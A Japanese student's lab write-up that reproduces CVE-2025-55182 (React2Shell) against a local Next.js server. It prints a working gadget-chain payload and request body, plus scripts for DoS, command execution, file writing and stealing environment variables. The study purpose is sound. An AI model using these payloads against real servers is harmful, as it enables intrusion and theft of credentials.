はじめに
北海道に住む情報系の学生の斉藤賢悟です。
今回は最近話題のReact Server Componentsの脆弱性について実際に攻撃をしてどのような脆弱性なのかまとめていきたいと思います。
脆弱性のあるNextjsのバージョンでWebサーバを立て、ローカル環境内での検証です。
今回紹介する内容はセキュリティに関する学習のためのものです。
管理下にあるローカル環境以外での実行、および許可のないシステムへの攻撃は違法です。悪用は厳禁です
CVE-2025-55182(React2Shell)とは
React Server Components(RSC)における認証不要のリモートコード実行(RCE)に関する脆弱性です。
つまり、攻撃者が細工したリクエストを送ることで、サーバー上で任意のコードが実行されてしまうということです。
このような攻撃は「認証されていない・特別な権限なし・ユーザーの操作なし」で可能、という非常に深刻なものです。
CVSSスコアは10.0となっていて最高スコアです。
公式サイト:
どの環境で影響されるか
-
App Router + React Server Componentsを利用している
-
バージョンが古い/未パッチのもの
Pages Router を使っていたり、RSCを使っていない構成ではこの脆弱性の影響を受けないです
対策
パッチ適用済みのバージョンにアップデート
原因
RSCで使用しているFlightプロトコルのデシリアライズ(復元)処理に穴があり、それが原因で今回の脆弱性になっています。
RSCの内部では特別な形式のJSONのようなデータをサーバー側でデシリアライズして処理しています。
本来はReactが生成した安全なデータだけを受け取る前提なのですが、
実際には、外部から細工されたリクエストでもデシリアライズされてしまうという欠陥がありました。
具体的には、攻撃者が送信したJSONペイロードに含まれる __proto__ や then といったプロパティが、サーバー側でのデシリアライズ時に不正に解釈されます。
これにより、意図しないガジェットチェーンが構築され、最終的に child_process.execSync などの危険な関数が呼び出されてしまいます。
細工したリクエストの解説
今回の脆弱性を悪用した攻撃では通常のリクエスト処理だけで発生するものではなく、デシリアライズ(データ復元)処理の過程で攻撃が成立します。
今回のリクエストは大きく2つの構造になっています。
攻撃の全体の流れ
sequenceDiagram
participant Attacker as 攻撃者
participant Server as Next.js Server
participant Deserializer as デシリアライズ処理
Attacker->>Server: 1. リクエスト送信 (Multipart)
Note right of Attacker: 「JSON」と「参照)」を同封
Server->>Server: 2. Next-Action IDを確認
Server->>Deserializer: 3. 引数のデータを復元開始
Deserializer->>Deserializer: 4. JSONを解析
Note right of Deserializer: プロトタイプ汚染により<br>処理フローが歪められる
Deserializer->>Server: 5. 意図しない関数(execSync)を実行
Server-->>Attacker: 6. 実行結果を含むエラー応答
1つ目: JSON Payload / ガジェットチェーン
読み込まれた瞬間にサーバーを騙すための、精巧なガジェットチェーンです。 本来つながるはずのない内部処理を無理やりつなぎ合わせ、最終的に「コマンド実行」へと誘導します
ガジェットチェーン / Gadget Chain
「ガジェット」とは、サーバー内に元々存在する正常なコード片のことです。
Payloadによってデータの整合性が破壊されると、本来は繋がらないはずの正常なコード(ガジェット)同士が、攻撃者の意図通りに次々と連鎖して実行されていきます。 これを「ガジェットチェーン」と呼びます。
const payloadJson = JSON.stringify({
// プロトタイプ汚染
// オブジェクトの基底(__proto__)を操作し、サーバーの挙動を書き換える準備
then: "$1:__proto__:then",
// 非同期処理のハイジャック
// React側で「解決済みのPromise」と誤認して処理を進めるように仕向ける
status: "resolved_model",
_response: {
// 実行したいコマンド
// 最終的に execSync の引数として渡される文字列
_prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
_formData: {
// 関数のすり替え
// 内部処理でプロパティを取得する際、'constructor'(Function生成機能)へ誘導する
get: "$1:constructor:constructor",
},
},
});
2つ目: リクエストボディ
Next.jsのServer Actionsは、複数のデータを効率よく送るために参照(Reference)という仕組みを持っています。
今回の攻撃ではこの仕組みを悪用します。
const body = [
// 爆弾本体
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="0"',
"",
payloadJson, // 先ほどのJSONをここに配置
// 起爆スイッチ
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="1"',
"",
'"$@0"', // 重要
// 0番目のデータを参照して展開しろというFlightプロトコルの指示
`--${BOUNDARY}--`,
"",
].join("\r\n");
name="1"では、サーバーに対して「0番目のデータを使って処理を進めて」と指示を出します。これにより、サーバーは強制的に悪意あるJSONを読み込みに行きます。
参照 / Reference
データの実体は別の場所に置いておき、必要な時にそこを指差して呼び出す仕組みです。
今回の場合は、攻撃リクエストのボディに含まれる "$@0" という文字列のことです。 Next.jsの通信プロトコル(Flight)には、送信データの一部を別の場所から参照する機能があります。攻撃者はこれを利用し、「ID:0 にあるJSON Payloadを読み込んで展開せよ」 という指示を出します。
検証
ここからは実際に行った検証をまとめていきます。
今回検証を行ったリポジトリです。
このリポジトリを参考に解説します。
1. 環境開発
まずは脆弱性のあるバージョン(Nextjs 16.0.1)でWebサーバを構築しました。
更に攻撃用スクリプトの実行環境を用意しました。
Webサーバのトップページに以下のようにServerActionsが実行する実装を行います。
Actionsが呼び出される際に取得できるIDを取得するため、testAction ( ) の中には特に処理は必要ないです。
export default function Home() {
async function testAction(arg: any) {
"use server";
// 省略
}
return (
<div>
<main>Webサーバ</main>
<form action={testAction}>
<button>Submit</button>
</form>
</div>
);
}
2. Actions IDの取得
Server Actions を外部から呼び出すために必要な認証IDを取得しました。
-
Webサーバ起動後、ブラウザで http://localhost:3000/ にアクセスします
-
開発者ツールを開き、Networkタブを選択します
-
Webフロントエンド上のSubmitボタンを押します
-
Networkタブに表示された"localhost"を選択しヘッダーから、Next-Actionの値をコピーします
-
実行したい検証スクリプト(例: readenv.ts など)を開き、Next-Actionの値を先程コピーしたものに書き換えます
3. 攻撃の検証
ここからは自分で立てたローカルサーバに対して実際に攻撃を行っていきます。
a. 可用性の侵害検証
まずはサーバーが脆弱であるか(外部からの不正入力で落ちるか)を確認しました。
const payloadArray = Array(200).fill("$F");
const body = JSON.stringify(payloadArray);
try {
const res = await axios.post("http://localhost:3000", body, {
headers: {
"Content-Type": "text/plain",
"Next-Action": "", // 先程取得したIDを代入
},
});
実施内容:
-
bun run sendを実行 - Flight プロトコルのマーカー $F を大量に含んだ不正なペイロードを送信
結果:
サーバープロセスがクラッシュ(500エラー / Connection closed)
証明されたこと:
DoS(サービス拒否)脆弱性が存在し、サービスを強制停止させられること
b. コマンドインジェクション:アプリの起動
サーバー内部で OS コマンドを実行できるか検証しました
電卓を起動させる
// 省略
// const COMMAND = "calc"; // Windowsの場合
const COMMAND = "open -a Calculator"; // macOSの場合
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = // 省略
const body = // 省略
try {
const res = await fetch(TARGET_URL, {
method: "POST",
headers: {
Host: "localhost:3000",
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": NEXT_ACTION_ID,
"Content-Type": `multipart/form-data; boundary=${BOUNDARY}`,
},
body: body,
});
// 省略
}
calculator();
実施内容:
bun run calculatorを実行
ガジェットチェーンを構築し、Node.js の child_process.execSync 経由で OS コマンドを注入
結果:
Windows/Mac環境で電卓が起動
証明されたこと:
RCE脆弱性が存在し、サーバーの制御権を奪えること
c. ファイル書き込み
OS やシェルの違い(クォート問題など)に依存しない、より確実な攻撃手法を検証しました。
先程のリクエストのCOMMAND部分を変更するだけで実行可能です。
// webサーバ側にファイルが生成される
const DATA = "This file was generated by the attacker server.";
const COMMAND = `echo "${DATA}" > public/test.txt`;
実施内容:
bun run writeFileを実行。
echo(コマンド)シェルコマンド呼び出すペイロードを送信
結果:
publicディレクトリにtest.txtが生成された。
証明されたこと:
OSコマンドインジェクションを利用してファイルを作成などが行える(バックドア設置のリスク)
d. 環境変数の奪取
サーバー内の機密情報を外部に持ち出せるか検証しました。
エラーベースの情報持ち出しで値を奪取していきます。
* 不要なコードは省略しています。
// 省略
const JS_PAYLOAD = `
const env = JSON.stringify(process.env, null, 2);
throw new Error('/// DATA START /// ' + env + ' /// DATA END ///');
`;
// 改行をスペースに置換して1行にする
const minifiedPayload = JS_PAYLOAD.replace(/\n/g, " ");
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = // 省略
const body = // 省略
// 省略
try {
const res = // 省略
if (res.status === 500) {
// 埋め込んだマーカーを探す
const match = text.match(/DATA START \/\/\/ (.*?) \/\/\/ DATA END/s);
if (match && match[1]) {
console.log("\n【success】環境変数を奪取しました:\n");
try {
const envJson = JSON.parse(match[1].replace(/\\n/g, "\\n"));
console.log(envJson);
} catch {
console.log(match[1]);
}
} else {
console.log(
"[-] データ抽出マーカーが見つかりません。レスポンス全体を表示します:"
);
console.log(text.substring(0, 1000));
}
} else {
console.log(`[*] Response: ${text.substring(0, 500)}`);
}
} catch (err: any) {
console.error(`[!] Error: ${err.message}`);
}
}
readenv();
攻撃のフロー
コード内で行われている処理の流れは以下のとおりです。
- データの取得: const env = JSON.stringify(process.env ...) まず、サーバー内部でこっそり環境変数を読み取ります
- エラーへの埋め込み: throw new Error('/// DATA START /// ' + env + ...) 取得したデータをエラーメッセージの一部として埋め込み、強制的に例外エラーを発生させます
- サーバーの挙動: Next.js はエラーを検出し、エラーメッセージ(取得したデータ)を含んだ HTTP 500 レスポンス を生成して送信します
- データの回収: 攻撃者のスクリプトは、返ってきた 500 エラーの文章の中から、目印(/// DATA START ///)で囲まれた部分を抽出して表示します
実施内容:
bun run readenvを実行。
process.env(環境変数)の中身を取得し、それを throw new Error(...) でエラーメッセージとして投げさせるペイロードを送信
結果:
HTTPレスポンス(500エラー)の中に、サーバーの環境変数(APIキーやバージョン情報など)が含まれて返ってきた。
証明されたこと:
AWSキーやDBパスワードなどの機密情報の窃取が可能であること。
結論
1. アプリケーション層の防御が無効
通常、if (!user.isAdmin) return; のようなコードや、Middlewareによる認証チェックでセキュリティを担保します。
しかし、今回の攻撃はそれらのコードが実行される前(フレームワークがリクエストを受け取り、データを復元する段階) で成立してしまいます。
つまり、どんなに堅牢な認証ロジックを書いていても、この脆弱性があるバージョンを使っている限り、防御することは難しいです。
2. フレームワーク内部の死角
開発者は普段、Next.jsの Server Actions がどのようにデータをデシリアライズしているかを意識することは稀です。
今回の攻撃は、そのブラックボックスである内部処理(Flightプロトコル)の隙を突き、正規の通信を装って不正な命令を実行させました。
3. 対策はアップデート
検証結果の通り、攻撃が成功すればサーバーの全権限(RCE)を奪われ、情報の窃取や改ざんが自由に行えてしまいます。
WAF等での検知も、ペイロードが複雑化(難読化)するとすり抜ける可能性があります。
唯一にして最大の対策は、根本原因が修正されたバージョンへのアップデートです。
勝手にマイニングサーバにされるような被害も拡大しているの直ちにアップデートすることをおすすめします。
まとめ
簡易的にですがRSCの脆弱性を悪用した攻撃をローカルで検証してみました。
まだまだ勉強中なので内容に誤りがあればぜひ教えて下さい。
参考文献